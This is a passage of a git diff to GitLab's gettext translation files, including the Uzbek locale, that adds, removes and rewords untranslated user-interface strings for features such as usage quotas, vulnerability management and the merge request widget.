@@ -36910,9 +37532,6 @@ msgstr ""
msgid "Upvotes"
msgstr ""
-msgid "Usage"
-msgstr ""
-
msgid "Usage Trends"
msgstr ""
@@ -36967,12 +37586,6 @@ msgstr ""
msgid "UsageQuota|Increase storage temporarily"
msgstr ""
-msgid "UsageQuota|LFS Objects"
-msgstr ""
-
-msgid "UsageQuota|LFS Storage"
-msgstr ""
-
msgid "UsageQuota|LFS storage"
msgstr ""
@@ -36982,9 +37595,15 @@ msgstr ""
msgid "UsageQuota|Learn more about usage quotas"
msgstr ""
+msgid "UsageQuota|No CI minutes usage data available."
+msgstr ""
+
msgid "UsageQuota|Packages"
msgstr ""
+msgid "UsageQuota|Pending Members"
+msgstr ""
+
msgid "UsageQuota|Pipeline artifacts and job artifacts, created with CI/CD."
msgstr ""
@@ -36997,9 +37616,6 @@ msgstr ""
msgid "UsageQuota|Purchased storage available"
msgstr ""
-msgid "UsageQuota|Repositories"
-msgstr ""
-
msgid "UsageQuota|Repository"
msgstr ""
@@ -37033,18 +37649,6 @@ msgstr ""
msgid "UsageQuota|This namespace has no projects which use shared runners"
msgstr ""
-msgid "UsageQuota|This project is at risk of being locked because purchased storage is running low."
-msgstr ""
-
-msgid "UsageQuota|This project is locked because it is using %{actualRepositorySizeLimit} of free storage and there is no purchased storage available."
-msgstr ""
-
-msgid "UsageQuota|This project is locked because it used %{actualRepositorySizeLimit} of free storage and all the purchased storage."
-msgstr ""
-
-msgid "UsageQuota|This project is near the free %{actualRepositorySizeLimit} limit and at risk of being locked."
-msgstr ""
-
msgid "UsageQuota|Total excess storage used"
msgstr ""
@@ -37090,9 +37694,6 @@ msgstr ""
msgid "UsageQuota|Wiki content."
msgstr ""
-msgid "UsageQuota|Wikis"
-msgstr ""
-
msgid "UsageQuota|You have consumed all of your additional storage, please purchase more to unlock your projects over the free %{actualRepositorySizeLimit} limit."
msgstr ""
@@ -37285,9 +37886,6 @@ msgstr ""
msgid "Used programming language"
msgstr ""
-msgid "Used to calculate the number of slices during reindexing. The multiplier will be applied to the number of shards per index. Learn more about %{slice_multiplier_link_start}slice multiplier configuration%{slice_multiplier_link_end}."
-msgstr ""
-
msgid "Used to help configure your identity provider"
msgstr ""
@@ -37591,9 +38189,6 @@ msgstr ""
msgid "Username"
msgstr ""
-msgid "Username (for password-protected Elasticsearch servers)"
-msgstr ""
-
msgid "Username (optional)"
msgstr ""
@@ -37819,6 +38414,18 @@ msgstr ""
msgid "Verification status"
msgstr ""
+msgid "VerificationReminder|Pipeline failing? To keep GitLab spam and abuse free we ask that you verify your identity with a valid payment method."
+msgstr ""
+
+msgid "VerificationReminder|Until then, free pipeline minutes on shared runners are unavailable. %{validateLinkStart}Validate your account%{validateLinkEnd} or %{docsLinkStart}use your own runners%{docsLinkEnd}."
+msgstr ""
+
+msgid "VerificationReminder|Your account has been validated."
+msgstr ""
+
+msgid "VerificationReminder|You’ll now be able to take advantage of free pipeline minutes on shared runners."
+msgstr ""
+
msgid "Verified"
msgstr ""
@@ -37843,6 +38450,9 @@ msgstr ""
msgid "View Documentation"
msgstr ""
+msgid "View Stage: %{title}"
+msgstr ""
+
msgid "View alert details at"
msgstr ""
@@ -37940,6 +38550,9 @@ msgstr ""
msgid "View merge request"
msgstr ""
+msgid "View milestones"
+msgstr ""
+
msgid "View on %{url}"
msgstr ""
@@ -38050,6 +38663,9 @@ msgstr ""
msgid "Vulnerability remediated. Review before resolving."
msgstr ""
+msgid "Vulnerability report"
+msgstr ""
+
msgid "Vulnerability resolved in %{branch}"
msgstr ""
@@ -38062,9 +38678,6 @@ msgstr ""
msgid "VulnerabilityChart|Severity"
msgstr ""
-msgid "VulnerabilityManagement, Fetching linked Jira issues"
-msgstr ""
-
msgid "VulnerabilityManagement|%{statusStart}Confirmed%{statusEnd} %{timeago} by %{user}"
msgstr ""
@@ -38080,6 +38693,9 @@ msgstr ""
msgid "VulnerabilityManagement|A true-positive and will fix"
msgstr ""
+msgid "VulnerabilityManagement|Add vulnerability finding"
+msgstr ""
+
msgid "VulnerabilityManagement|Change status"
msgstr ""
@@ -38089,7 +38705,10 @@ msgstr ""
msgid "VulnerabilityManagement|Create Jira issue"
msgstr ""
-msgid "VulnerabilityManagement|Detected"
+msgid "VulnerabilityManagement|Fetching linked Jira issues"
+msgstr ""
+
+msgid "VulnerabilityManagement|Manually add a vulnerability entry into the vulnerability report."
msgstr ""
msgid "VulnerabilityManagement|Needs triage"
@@ -38101,6 +38720,9 @@ msgstr ""
msgid "VulnerabilityManagement|Related Jira issues"
msgstr ""
+msgid "VulnerabilityManagement|Requires assessment"
+msgstr ""
+
msgid "VulnerabilityManagement|Something went wrong while trying to delete the comment. Please try again later."
msgstr ""
@@ -38125,9 +38747,15 @@ msgstr ""
msgid "VulnerabilityManagement|Something went wrong, could not update vulnerability state."
msgstr ""
+msgid "VulnerabilityManagement|Summary, detailed description, steps to reproduce, etc."
+msgstr ""
+
msgid "VulnerabilityManagement|Verified as fixed or mitigated"
msgstr ""
+msgid "VulnerabilityManagement|Vulnerability name or type. Ex: Cross-site scripting"
+msgstr ""
+
msgid "VulnerabilityManagement|Will not fix or a false-positive"
msgstr ""
@@ -38140,10 +38768,10 @@ msgstr ""
msgid "VulnerabilityStatusTypes|Confirmed"
msgstr ""
-msgid "VulnerabilityStatusTypes|Detected"
+msgid "VulnerabilityStatusTypes|Dismissed"
msgstr ""
-msgid "VulnerabilityStatusTypes|Dismissed"
+msgid "VulnerabilityStatusTypes|Needs triage"
msgstr ""
msgid "VulnerabilityStatusTypes|Resolved"
@@ -38317,7 +38945,7 @@ msgstr ""
msgid "We heard back from your device. You have been authenticated."
msgstr ""
-msgid "We love speaking to our users. Got more to say about your GitLab experiences?"
+msgid "We invite you to %{featureLinkStart}request a feature%{featureLinkEnd}, %{bugLinkStart}report a bug%{bugLinkEnd} or %{feedbackLinkStart}share feedback%{feedbackLinkEnd}"
msgstr ""
msgid "We recommend cloud-based mobile authenticator apps such as Authy, Duo Mobile, and LastPass. They can restore access if you lose your hardware device."
@@ -38623,6 +39251,9 @@ msgstr ""
msgid "When a runner is locked, it cannot be assigned to other projects"
msgstr ""
+msgid "When enabled, SSH keys with no expiry date or an invalid expiration date are no longer accepted. Leave blank for no limit."
+msgstr ""
+
msgid "When enabled, existing personal access tokens may be revoked. Leave blank for no limit."
msgstr ""
@@ -38635,7 +39266,7 @@ msgstr ""
msgid "When merge requests and commits in the default branch close, any issues they reference also close."
msgstr ""
-msgid "When the number of active users exceeds this number, additional users must be %{user_cap_docs_link_start}approved by an owner%{user_cap_docs_link_end}. Leave empty if you don't want to enforce approvals."
+msgid "When paused, GitLab still tracks the changes. This is useful for cluster/index migrations."
msgstr ""
msgid "When this merge request is accepted"
@@ -38808,6 +39439,12 @@ msgstr ""
msgid "WikiPage|Create page"
msgstr ""
+msgid "WikiPage|Edit rich text"
+msgstr ""
+
+msgid "WikiPage|Edit source"
+msgstr ""
+
msgid "WikiPage|Format"
msgstr ""
@@ -38817,7 +39454,7 @@ msgstr ""
msgid "WikiPage|Keep editing"
msgstr ""
-msgid "WikiPage|More Information."
+msgid "WikiPage|Learn more."
msgstr ""
msgid "WikiPage|Page title"
@@ -38931,6 +39568,9 @@ msgstr ""
msgid "Work in progress Limit"
msgstr ""
+msgid "Work in progress- click here to find out more"
+msgstr ""
+
msgid "WorkItem|Work Items"
msgstr ""
@@ -39204,13 +39844,10 @@ msgstr ""
msgid "You can only %{action} files when you are on a branch"
msgstr ""
-msgid "You can only edit files when you are on a branch"
+msgid "You can only add up to %{max_contacts} contacts at one time"
msgstr ""
-msgid "You can only merge once the items above are resolved."
-msgstr ""
-
-msgid "You can only merge once this merge request is approved."
+msgid "You can only edit files when you are on a branch"
msgstr ""
msgid "You can only transfer the project to namespaces you manage."
@@ -39246,6 +39883,9 @@ msgstr ""
msgid "You cannot access the raw file. Please wait a minute."
msgstr ""
+msgid "You cannot combine replace_ids with add_ids or remove_ids"
+msgstr ""
+
msgid "You cannot impersonate a blocked user"
msgstr ""
@@ -39276,12 +39916,18 @@ msgstr ""
msgid "You could not create a new trigger."
msgstr ""
+msgid "You do not have any Google Cloud projects. Please create a Google Cloud project and then reload this page."
+msgstr ""
+
msgid "You do not have any subscriptions yet"
msgstr ""
msgid "You do not have permission to access dora metrics."
msgstr ""
+msgid "You do not have permission to approve a member"
+msgstr ""
+
msgid "You do not have permission to leave this %{namespaceType}."
msgstr ""
@@ -39333,6 +39979,11 @@ msgstr ""
msgid "You don’t have access to Value Stream Analytics for this group"
msgstr ""
+msgid "You have %{pendingMembersCount} pending member that needs approval."
+msgid_plural "You have %{pendingMembersCount} pending members that need approval."
+msgstr[0] ""
+msgstr[1] ""
+
msgid "You have been granted %{access_level} access to the %{source_link} %{source_type}."
msgstr ""
@@ -39381,6 +40032,9 @@ msgstr ""
msgid "You have insufficient permissions to remove this HTTP integration"
msgstr ""
+msgid "You have insufficient permissions to set customer relations contacts for this issue"
+msgstr ""
+
msgid "You have insufficient permissions to update an on-call schedule for this project"
msgstr ""
@@ -39516,9 +40170,6 @@ msgstr ""
msgid "You won't be able to create new projects because you have reached your project limit."
msgstr ""
-msgid "You won't be able to pull or push repositories via %{protocol} until you %{set_password_link} on your account"
-msgstr ""
-
msgid "You'll be charged for %{true_up_link_start}users over license%{link_end} on a quarterly or annual basis, depending on the terms of your agreement."
msgstr ""
@@ -39603,7 +40254,7 @@ msgstr ""
msgid "Your CSV import for project"
msgstr ""
-msgid "Your DevOps Report gives an overview of how you are using GitLab from a feature perspective. Use it to view how you compare with other organizations."
+msgid "Your DevOps Reports give an overview of how you are using GitLab from a feature perspective. Use them to view how you compare with other organizations, and how your teams compare against each other."
msgstr ""
msgid "Your GPG keys (%{count})"
@@ -39669,6 +40320,12 @@ msgstr ""
msgid "Your account has been deactivated. You will not be able to: "
msgstr ""
+msgid "Your account is authenticated with SSO or SAML. To %{push_pull_link_start}push and pull%{link_end} over %{protocol} with Git using this account, you must %{set_password_link_start}set a password%{link_end} or %{set_up_pat_link_start}set up a Personal Access Token%{link_end} to use instead of a password. For more information, see %{clone_with_https_link_start}Clone with HTTPS%{link_end}."
+msgstr ""
+
+msgid "Your account is authenticated with SSO or SAML. To %{push_pull_link_start}push and pull%{link_end} over %{protocol} with Git using this account, you must %{set_up_pat_link_start}set up a Personal Access Token%{link_end} to use instead of a password. For more information, see %{clone_with_https_link_start}Clone with HTTPS%{link_end}."
+msgstr ""
+
msgid "Your account is locked."
msgstr ""
@@ -39861,6 +40518,9 @@ msgstr ""
msgid "Your sign-in page is %{url}."
msgstr ""
+msgid "Your snippets"
+msgstr ""
+
msgid "Your subscription expired!"
msgstr ""
@@ -39875,15 +40535,9 @@ msgstr ""
msgid "ZenTaoIntegration|Failed to load ZenTao issue. View the issue in ZenTao, or reload the page."
msgstr ""
-msgid "ZenTaoIntegration|Not all data may be displayed here. To view more details or make changes to this issue, go to %{linkStart}ZenTao%{linkEnd}."
-msgstr ""
-
msgid "ZenTaoIntegration|This is a ZenTao user."
msgstr ""
-msgid "ZenTaoIntegration|This issue is synchronized with ZenTao"
-msgstr ""
-
msgid "ZenTaoIntegration|ZenTao user"
msgstr ""
@@ -39893,6 +40547,9 @@ msgstr ""
msgid "ZentaoIntegration|Base URL of the ZenTao instance."
msgstr ""
+msgid "ZentaoIntegration|Before you enable this integration, you must configure ZenTao. For more details, read the %{link_start}ZenTao integration documentation%{link_end}."
+msgstr ""
+
msgid "ZentaoIntegration|Enter new ZenTao API token"
msgstr ""
@@ -39958,9 +40615,6 @@ msgstr ""
msgid "added"
msgstr ""
-msgid "added %{created_at_timeago}"
-msgstr ""
-
msgid "added %{emails}"
msgstr ""
@@ -40056,6 +40710,9 @@ msgstr ""
msgid "can't be nil"
msgstr ""
+msgid "can't be solely blank"
+msgstr ""
+
msgid "can't be the same as the source project"
msgstr ""
@@ -40089,9 +40746,6 @@ msgstr ""
msgid "cannot be enabled until a valid credit card is on file"
msgstr ""
-msgid "cannot be modified"
-msgstr ""
-
msgid "cannot be used for user namespace"
msgstr ""
@@ -40262,6 +40916,9 @@ msgstr ""
msgid "ciReport|Failed to load %{reportName} report"
msgstr ""
+msgid "ciReport|Failed to load Code Quality report"
+msgstr ""
+
msgid "ciReport|Fixed"
msgstr ""
@@ -40271,6 +40928,9 @@ msgstr ""
msgid "ciReport|Found %{issuesWithCount}"
msgstr ""
+msgid "ciReport|IaC Scanning"
+msgstr ""
+
msgid "ciReport|Investigate this vulnerability by creating an issue"
msgstr ""
@@ -40294,6 +40954,9 @@ msgstr ""
msgid "ciReport|Loading %{reportName} report"
msgstr ""
+msgid "ciReport|Loading Code Quality report"
+msgstr ""
+
msgid "ciReport|Manage licenses"
msgstr ""
@@ -40330,6 +40993,9 @@ msgstr ""
msgid "ciReport|Security scanning failed loading any results"
msgstr ""
+msgid "ciReport|Showing %{fetchedItems} of %{totalItems} items"
+msgstr ""
+
msgid "ciReport|Solution"
msgstr ""
@@ -40700,21 +41366,9 @@ msgstr ""
msgid "in"
msgstr ""
-msgid "in Infrastructure :: Kubernetes clusters"
-msgstr ""
-
-msgid "in all GitLab"
-msgstr ""
-
-msgid "in group"
-msgstr ""
-
msgid "in group %{link_to_group}"
msgstr ""
-msgid "in project"
-msgstr ""
-
msgid "in project %{link_to_project}"
msgstr ""
@@ -40867,9 +41521,6 @@ msgstr ""
msgid "log in"
msgstr ""
-msgid "managed"
-msgstr ""
-
msgid "manual"
msgstr ""
@@ -40899,13 +41550,13 @@ msgstr ""
msgid "most recent deployment"
msgstr ""
-msgid "mrWidgetCommitsAdded|%{commitCount} and %{mergeCommitCount} will be added to %{targetBranch}."
+msgid "mrWidgetCommitsAdded|1 merge commit"
msgstr ""
-msgid "mrWidgetCommitsAdded|%{commitCount} will be added to %{targetBranch}."
+msgid "mrWidgetCommitsAdded|Adds %{commitCount} and %{mergeCommitCount} to %{targetBranch}%{squashedCommits}."
msgstr ""
-msgid "mrWidgetCommitsAdded|1 merge commit"
+msgid "mrWidgetCommitsAdded|Adds %{commitCount} to %{targetBranch}."
msgstr ""
msgid "mrWidgetNothingToMerge|This merge request contains no changes."
@@ -40917,6 +41568,9 @@ msgstr ""
msgid "mrWidget| Please restore it or use a different %{missingBranchName} branch"
msgstr ""
+msgid "mrWidget|%{boldHeaderStart}Looks like there's no pipeline here.%{boldHeaderEnd}"
+msgstr ""
+
msgid "mrWidget|%{linkStart}Set up now%{linkEnd} to analyze your source code for known security vulnerabilities."
msgstr ""
@@ -40935,9 +41589,6 @@ msgstr ""
msgid "mrWidget|%{metricsLinkStart} Memory %{metricsLinkEnd} usage is %{emphasisStart} unchanged %{emphasisEnd} at %{memoryFrom}MB"
msgstr ""
-msgid "mrWidget|%{prefixToLinkStart}No pipeline%{prefixToLinkEnd} %{addPipelineLinkStart}Add the .gitlab-ci.yml file%{addPipelineLinkEnd} to create one."
-msgstr ""
-
msgid "mrWidget|A merge train is a queued list of merge requests waiting to be merged into the target branch. The changes in each merge request are combined with the changes in earlier merge requests and tested before merge."
msgstr ""
@@ -40980,9 +41631,6 @@ msgstr ""
msgid "mrWidget|Approved by you and others"
msgstr ""
-msgid "mrWidget|Are you adding technical debt or code vulnerabilities?"
-msgstr ""
-
msgid "mrWidget|Cancel auto-merge"
msgstr ""
@@ -41015,6 +41663,9 @@ msgstr ""
msgid "mrWidget|Delete source branch"
msgstr ""
+msgid "mrWidget|Deletes the source branch"
+msgstr ""
+
msgid "mrWidget|Deployment statistics are not available currently"
msgstr ""
@@ -41024,12 +41675,18 @@ msgstr ""
msgid "mrWidget|Dismiss"
msgstr ""
+msgid "mrWidget|Does not delete the source branch"
+msgstr ""
+
msgid "mrWidget|Email patches"
msgstr ""
msgid "mrWidget|Failed to load deployment statistics"
msgstr ""
+msgid "mrWidget|GitLab %{linkStart}CI/CD can automatically build, test, and deploy your application.%{linkEnd} It only takes a few minutes to get started, and we can help you create a pipeline configuration file."
+msgstr ""
+
msgid "mrWidget|Hide %{widget} details"
msgstr ""
@@ -41065,21 +41722,36 @@ msgstr ""
msgid "mrWidget|Merge blocked: all threads must be resolved."
msgstr ""
+msgid "mrWidget|Merge blocked: denied licenses must be removed."
+msgstr ""
+
msgid "mrWidget|Merge blocked: fast-forward merge is not possible. To merge this request, first rebase locally."
msgstr ""
+msgid "mrWidget|Merge blocked: merge conflicts must be resolved."
+msgstr ""
+
msgid "mrWidget|Merge blocked: pipeline must succeed. It's waiting for a manual action to continue."
msgstr ""
+msgid "mrWidget|Merge blocked: this merge request must be approved."
+msgstr ""
+
msgid "mrWidget|Merge failed."
msgstr ""
msgid "mrWidget|Merge locally"
msgstr ""
+msgid "mrWidget|Merge unavailable: merge requests are read-only on archived projects."
+msgstr ""
+
msgid "mrWidget|Merged by"
msgstr ""
+msgid "mrWidget|Merges changes into"
+msgstr ""
+
msgid "mrWidget|Merging! Changes are being shipped…"
msgstr ""
@@ -41092,6 +41764,15 @@ msgstr ""
msgid "mrWidget|Merging! Everything's good…"
msgstr ""
+msgid "mrWidget|Merging! Lift-off in 5… 4… 3…"
+msgstr ""
+
+msgid "mrWidget|Merging! Take a deep breath and relax…"
+msgstr ""
+
+msgid "mrWidget|Merging! The changes are leaving the station…"
+msgstr ""
+
msgid "mrWidget|Merging! This is going to be great…"
msgstr ""
@@ -41131,9 +41812,6 @@ msgstr ""
msgid "mrWidget|Resolve conflicts"
msgstr ""
-msgid "mrWidget|Resolve these conflicts or ask someone with write access to this repository to merge it locally"
-msgstr ""
-
msgid "mrWidget|Revert"
msgstr ""
@@ -41164,9 +41842,6 @@ msgstr ""
msgid "mrWidget|The changes were not merged into"
msgstr ""
-msgid "mrWidget|The changes will be merged into"
-msgstr ""
-
msgid "mrWidget|The pipeline for this merge request did not complete. Push a new commit to fix the failure, or check the %{linkStart}troubleshooting documentation%{linkEnd} to see other possible actions."
msgstr ""
@@ -41182,39 +41857,30 @@ msgstr ""
msgid "mrWidget|The source branch is being deleted"
msgstr ""
-msgid "mrWidget|The source branch will be deleted"
-msgstr ""
-
-msgid "mrWidget|The source branch will not be deleted"
+msgid "mrWidget|This merge request failed to be merged automatically"
msgstr ""
-msgid "mrWidget|There are merge conflicts"
+msgid "mrWidget|To approve this merge request, please enter your password. This project requires all approvals to be authenticated."
msgstr ""
-msgid "mrWidget|This merge request failed to be merged automatically"
+msgid "mrWidget|To change these default messages, edit the templates for both the merge and squash commit messages. %{linkStart}Learn more.%{linkEnd}"
msgstr ""
-msgid "mrWidget|This project is archived, write access has been disabled"
+msgid "mrWidget|To change this default message, edit the template for merge commit messages. %{linkStart}Learn more.%{linkEnd}"
msgstr ""
-msgid "mrWidget|To approve this merge request, please enter your password. This project requires all approvals to be authenticated."
+msgid "mrWidget|To change this default message, edit the template for squash commit messages. %{linkStart}Learn more.%{linkEnd}"
msgstr ""
msgid "mrWidget|To merge, a Jira issue key must be mentioned in the title or description."
msgstr ""
-msgid "mrWidget|Use %{linkStart}CI pipelines to test your code%{linkEnd} by simply adding a GitLab CI configuration file to your project. It only takes a minute to make your code more secure and robust."
+msgid "mrWidget|Users who can write to the source or target branches can resolve the conflicts."
msgstr ""
msgid "mrWidget|What is a merge train?"
msgstr ""
-msgid "mrWidget|You can merge after removing denied licenses"
-msgstr ""
-
-msgid "mrWidget|You can only merge once this merge request is approved."
-msgstr ""
-
msgid "mrWidget|Your password"
msgstr ""
@@ -41375,6 +42041,18 @@ msgstr ""
msgid "pipeline schedules documentation"
msgstr ""
+msgid "pipelineEditorWalkthrough|Let's do this!"
+msgstr ""
+
+msgid "pipelineEditorWalkthrough|See how GitLab pipelines work"
+msgstr ""
+
+msgid "pipelineEditorWalkthrough|This %{codeStart}.gitlab-ci.yml%{codeEnd} file creates a simple test pipeline."
+msgstr ""
+
+msgid "pipelineEditorWalkthrough|Use the %{boldStart}commit changes%{boldEnd} button at the bottom of the page to run the pipeline."
+msgstr ""
+
msgid "pod_name can contain only lowercase letters, digits, '-', and '.' and must start and end with an alphanumeric character"
msgstr ""
@@ -41555,9 +42233,6 @@ msgstr ""
msgid "smartcn custom analyzer"
msgstr ""
-msgid "sort:"
-msgstr ""
-
msgid "source"
msgstr ""
@@ -41582,6 +42257,9 @@ msgstr ""
msgid "starts on %{timebox_start_date}"
msgstr ""
+msgid "structure is too large"
+msgstr ""
+
msgid "stuck"
msgstr ""
diff --git a/locale/uz_UZ/gitlab.po b/locale/uz_UZ/gitlab.po
index f1480ed6118..c46180fed00 100644
--- a/locale/uz_UZ/gitlab.po
+++ b/locale/uz_UZ/gitlab.po
@@ -14,7 +14,7 @@ msgstr ""
"X-Crowdin-Language: uz\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 6\n"
-"PO-Revision-Date: 2021-11-02 00:42\n"
+"PO-Revision-Date: 2021-12-06 19:00\n"
msgid " %{start} to %{end}"
msgstr ""
@@ -70,9 +70,6 @@ msgstr ""
msgid "\"%{repository_name}\" size (%{repository_size}) is larger than the limit of %{limit}."
msgstr ""
-msgid "\"el\" parameter is required for createInstance()"
-msgstr ""
-
msgid "#%{issueIid} (closed)"
msgstr ""
@@ -239,6 +236,11 @@ msgid_plural "%d fixed test results"
msgstr[0] ""
msgstr[1] ""
+msgid "%d fork"
+msgid_plural "%d forks"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%d group"
msgid_plural "%d groups"
msgstr[0] ""
@@ -289,6 +291,11 @@ msgid_plural "%d merge requests that you don't have access to."
msgstr[0] ""
msgstr[1] ""
+msgid "%d merge requests"
+msgid_plural "%d merge requests"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%d metric"
msgid_plural "%d metrics"
msgstr[0] ""
@@ -354,6 +361,11 @@ msgid_plural "%d shards selected"
msgstr[0] ""
msgstr[1] ""
+msgid "%d star"
+msgid_plural "%d stars"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%d tag"
msgid_plural "%d tags"
msgstr[0] ""
@@ -407,6 +419,12 @@ msgstr[1] ""
msgid "%{actionText} & %{openOrClose} %{noteable}"
msgstr ""
+msgid "%{actionText} & close %{noteable}"
+msgstr ""
+
+msgid "%{actionText} & reopen %{noteable}"
+msgstr ""
+
msgid "%{address} is an invalid IP address range"
msgstr ""
@@ -483,6 +501,11 @@ msgstr[1] ""
msgid "%{count} approvals from %{name}"
msgstr ""
+msgid "%{count} contact"
+msgid_plural "%{count} contacts"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%{count} files touched"
msgstr ""
@@ -705,7 +728,7 @@ msgstr ""
msgid "%{link_start}Remove the %{draft_snippet} prefix%{link_end} from the title to allow this merge request to be merged when it's ready."
msgstr ""
-msgid "%{link_start}Start the title with %{draft_snippet}%{link_end} to prevent a merge request that is a work in progress from being merged before it's ready."
+msgid "%{link_start}Start the title with %{draft_snippet}%{link_end} to prevent a merge request draft from merging before it's ready."
msgstr ""
msgid "%{link_start}What information does GitLab Inc. collect?%{link_end}"
@@ -759,6 +782,9 @@ msgstr ""
msgid "%{name} is already being used for another emoji"
msgstr ""
+msgid "%{name} is reserved for %{type} report type"
+msgstr ""
+
msgid "%{name} is scheduled for %{action}"
msgstr ""
@@ -791,9 +817,6 @@ msgstr ""
msgid "%{oneYearAgo} - %{today}"
msgstr ""
-msgid "%{openOrClose} %{noteable}"
-msgstr ""
-
msgid "%{openedEpics} open, %{closedEpics} closed"
msgstr ""
@@ -818,6 +841,9 @@ msgstr ""
msgid "%{primary} (%{secondary})"
msgstr ""
+msgid "%{project_path} is a project that you can use to add a README to your GitLab profile. Create a public project and initialize the repository with a README to get started. %{help_link_start}Learn more.%{help_link_end}"
+msgstr ""
+
msgid "%{ref} cannot be added: %{error}"
msgstr ""
@@ -850,6 +876,9 @@ msgstr ""
msgid "%{scope} results for term '%{term}'"
msgstr ""
+msgid "%{search} %{description} %{scope}"
+msgstr ""
+
msgid "%{seconds}s"
msgstr ""
@@ -896,9 +925,6 @@ msgstr ""
msgid "%{start} to %{end}"
msgstr ""
-msgid "%{state} epics"
-msgstr ""
-
msgid "%{strongOpen}Warning:%{strongClose} SAML group links can cause GitLab to automatically remove members from groups."
msgstr ""
@@ -997,6 +1023,9 @@ msgstr ""
msgid "%{total} warnings found: showing first %{warningsDisplayed}"
msgstr ""
+msgid "%{type} only supports %{name} name"
+msgstr ""
+
msgid "%{userName} (cannot merge)"
msgstr ""
@@ -1128,6 +1157,11 @@ msgstr ""
msgid "(revoked)"
msgstr ""
+msgid "(squashes %d commit)"
+msgid_plural "(squashes %d commits)"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "(this user)"
msgstr ""
@@ -1137,6 +1171,9 @@ msgstr ""
msgid "* All times are in UTC unless specified"
msgstr ""
+msgid "*Required"
+msgstr ""
+
msgid "+ %{amount} more"
msgstr ""
@@ -1175,6 +1212,9 @@ msgstr ""
msgid "+%{tags} more"
msgstr ""
+msgid ", and "
+msgstr ""
+
msgid ", or "
msgstr ""
@@ -1480,9 +1520,6 @@ msgstr ""
msgid "A new Release %{tag} for %{name} was published. Visit the Releases page to read more about it:"
msgstr ""
-msgid "A new branch will be created in your fork and a new merge request will be started."
-msgstr ""
-
msgid "A new impersonation token has been created."
msgstr ""
@@ -1519,9 +1556,6 @@ msgstr ""
msgid "A sign-in to your account has been made from the following IP address: %{ip}"
msgstr ""
-msgid "A string appended to the project path to form the Service Desk email address."
-msgstr ""
-
msgid "A title is required"
msgstr ""
@@ -1570,9 +1604,6 @@ msgstr ""
msgid "APIFuzzing|Choose a profile"
msgstr ""
-msgid "APIFuzzing|Code snippet could not be generated. Try again later."
-msgstr ""
-
msgid "APIFuzzing|Configure HTTP basic authentication values. Other authentication methods are supported. %{linkStart}Learn more%{linkEnd}."
msgstr ""
@@ -1708,9 +1739,6 @@ msgstr ""
msgid "Access denied for your LDAP account."
msgstr ""
-msgid "Access denied! Please verify you can add deploy keys to this repository."
-msgstr ""
-
msgid "Access denied: %{error}"
msgstr ""
@@ -1957,12 +1985,18 @@ msgstr ""
msgid "Add a related issue"
msgstr ""
+msgid "Add a suffix to Service Desk email address. %{linkStart}Learn more.%{linkEnd}"
+msgstr ""
+
msgid "Add a table"
msgstr ""
msgid "Add a task list"
msgstr ""
+msgid "Add a title…"
+msgstr ""
+
msgid "Add a to do"
msgstr ""
@@ -2005,6 +2039,12 @@ msgstr ""
msgid "Add commit messages as comments to Pivotal Tracker stories. %{docs_link}"
msgstr ""
+msgid "Add customer relation contact(s)."
+msgstr ""
+
+msgid "Add customer relation contacts"
+msgstr ""
+
msgid "Add deploy freeze"
msgstr ""
@@ -2047,9 +2087,6 @@ msgstr ""
msgid "Add new directory"
msgstr ""
-msgid "Add new service account"
-msgstr ""
-
msgid "Add or remove previously merged commits"
msgstr ""
@@ -2119,6 +2156,9 @@ msgstr ""
msgid "Add variable"
msgstr ""
+msgid "Add vulnerability finding"
+msgstr ""
+
msgid "Add webhook"
msgstr ""
@@ -2164,9 +2204,6 @@ msgstr ""
msgid "Added an issue to an epic."
msgstr ""
-msgid "Added at"
-msgstr ""
-
msgid "Added for this merge request"
msgstr ""
@@ -2209,7 +2246,7 @@ msgstr ""
msgid "Adds %{labels} %{label_text}."
msgstr ""
-msgid "Adds a Zoom meeting"
+msgid "Adds a Zoom meeting."
msgstr ""
msgid "Adds a to do."
@@ -2218,7 +2255,7 @@ msgstr ""
msgid "Adds an issue to an epic."
msgstr ""
-msgid "Adds email participant(s)"
+msgid "Adds email participant(s)."
msgstr ""
msgid "Adjust how frequently the GitLab UI polls for updates."
@@ -2314,6 +2351,9 @@ msgstr ""
msgid "AdminArea|Maintainer"
msgstr ""
+msgid "AdminArea|Minimal access"
+msgstr ""
+
msgid "AdminArea|New group"
msgstr ""
@@ -2380,7 +2420,7 @@ msgstr ""
msgid "AdminDashboard|Error loading the statistics. Please try again"
msgstr ""
-msgid "AdminProjects| You’re about to permanently delete the project %{projectName}, its repository, and all related resources, including issues and merge requests. Once you confirm and press %{strong_start}Delete project%{strong_end}, it cannot be undone or recovered."
+msgid "AdminProjects| You’re about to permanently delete the project %{projectName}, its repository, and all related resources, including issues and merge requests. After you confirm and press %{strong_start}Delete project%{strong_end}, it cannot be undone or recovered."
msgstr ""
msgid "AdminProjects|Delete"
@@ -2917,19 +2957,28 @@ msgstr ""
msgid "Advanced export options"
msgstr ""
+msgid "AdvancedSearch|Reindex required"
+msgstr ""
+
+msgid "After a project is permanently deleted, it %{strongStart}cannot be recovered%{strongEnd}. Permanently deleting this project will %{strongStart}immediately delete%{strongEnd} its repositories and %{strongStart}all related resources%{strongEnd}, including issues, merge requests etc."
+msgstr ""
+
+msgid "After a project is permanently deleted, it %{strongStart}cannot be recovered%{strongEnd}. You will lose this project's repository and %{strongStart}all related resources%{strongEnd}, including issues and merge requests."
+msgstr ""
+
msgid "After a successful password update you will be redirected to login screen."
msgstr ""
msgid "After a successful password update, you will be redirected to the login page where you can log in with your new password."
msgstr ""
-msgid "After that, you will not be able to use merge approvals or code quality as well as many other features."
+msgid "After it expires, you can't use merge approvals, code quality, or many other features."
msgstr ""
-msgid "After that, you will not be able to use merge approvals or epics as well as many other features."
+msgid "After it expires, you can't use merge approvals, epics, or many other features."
msgstr ""
-msgid "After that, you will not be able to use merge approvals or epics as well as many security features."
+msgid "After it expires, you can't use merge approvals, epics, or many security features."
msgstr ""
msgid "After you've reviewed these contribution guidelines, you'll be all set to"
@@ -3520,9 +3569,6 @@ msgstr ""
msgid "An empty GitLab User field will add the FogBugz user's full name (e.g. \"By John Smith\") in the description of all issues and comments. It will also associate and/or assign these issues and comments with the project creator."
msgstr ""
-msgid "An empty index will be created if one does not already exist"
-msgstr ""
-
msgid "An error has occurred"
msgstr ""
